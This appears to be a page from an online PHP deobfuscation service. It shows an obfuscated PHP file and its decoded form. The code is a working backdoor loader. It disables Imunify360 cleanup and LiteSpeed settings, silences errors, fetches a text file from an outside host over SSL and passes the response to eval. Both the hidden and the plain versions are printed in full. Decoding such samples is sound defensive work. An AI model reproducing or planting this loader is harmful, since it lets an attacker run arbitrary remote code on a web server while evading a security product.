Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php InI_SeT("\154\163\x61\160\151\x5f\x62\141\x63\x6b\145\156\144\x5f\157\146\146", "\x..
Decoded Output download
<?php
InI_SeT("lsapi_backend_off", "1");
InI_SeT("imunify360.cleanup_on_restore", false);
ErRoR_RePoRtInG(0);
SeT_TiMe_lImIt(0);
$host = "wongpurik.pages.dev";
$port = 443;
$path = "/source/lolcatstream.txt";
$fp = StReAm_sOcKeT_ClIeNt("ssl://{$host}:{$port}", $errno, $errstr, 30);
if (!$fp) {
EcHo "Error: {$errstr} ({$errno})<br />\xa";
} else {
$out = "GET {$path} HTTP/1.1
";
$out .= "Host: {$host}\xd
";
$out .= "Connection: Close
\xd\xa";
FwRiTe($fp, $out);
$content = '';
while (!FeOf($fp)) {
$content .= fGeTs($fp, 128);
}
FcLoSe($fp);
$header_end = StRpOs($content, "\xd\xa\xd\xa");
if ($header_end !== false) {
$content = substr($content, $header_end + 4);
}
EvAl("?>" . $content);
}
?>
Did this file decode correctly?
Original Code
<?php
InI_SeT("\154\163\x61\160\151\x5f\x62\141\x63\x6b\145\156\144\x5f\157\146\146", "\x31");
InI_SeT("\151\x6d\165\x6e\x69\x66\171\x33\66\x30\56\143\x6c\145\141\156\165\160\137\157\x6e\x5f\162\145\x73\x74\157\x72\145", false);
ErRoR_RePoRtInG(0);
SeT_TiMe_lImIt(0);
$host = "\x77\157\156\x67\x70\165\162\x69\x6b\56\160\x61\147\145\x73\56\x64\x65\166";
$port = 443;
$path = "\57\x73\x6f\x75\x72\x63\145\x2f\x6c\157\x6c\143\141\164\163\164\x72\145\x61\155\56\164\170\x74";
$fp = StReAm_sOcKeT_ClIeNt("\163\163\x6c\x3a\x2f\x2f{$host}\72{$port}", $errno, $errstr, 30);
if (!$fp) {
EcHo "\x45\162\x72\x6f\x72\72\x20{$errstr}\40\50{$errno}\51\x3c\x62\x72\40\57\x3e\xa";
} else {
$out = "\107\105\x54\40{$path}\x20\110\x54\x54\x50\x2f\61\x2e\61\15\12";
$out .= "\x48\157\x73\x74\72\40{$host}\xd\12";
$out .= "\x43\157\156\156\x65\x63\x74\x69\x6f\x6e\72\x20\103\x6c\157\163\x65\15\12\xd\xa";
FwRiTe($fp, $out);
$content = '';
while (!FeOf($fp)) {
$content .= fGeTs($fp, 128);
}
FcLoSe($fp);
$header_end = StRpOs($content, "\xd\xa\xd\xa");
if ($header_end !== false) {
$content = substr($content, $header_end + 4);
}
EvAl("\77\76" . $content);
}
?>
Function Calls
None |
Stats
MD5 | 7c799558466d4ec06d930c0e0d98a792 |
Eval Count | 0 |
Decode Time | 65 ms |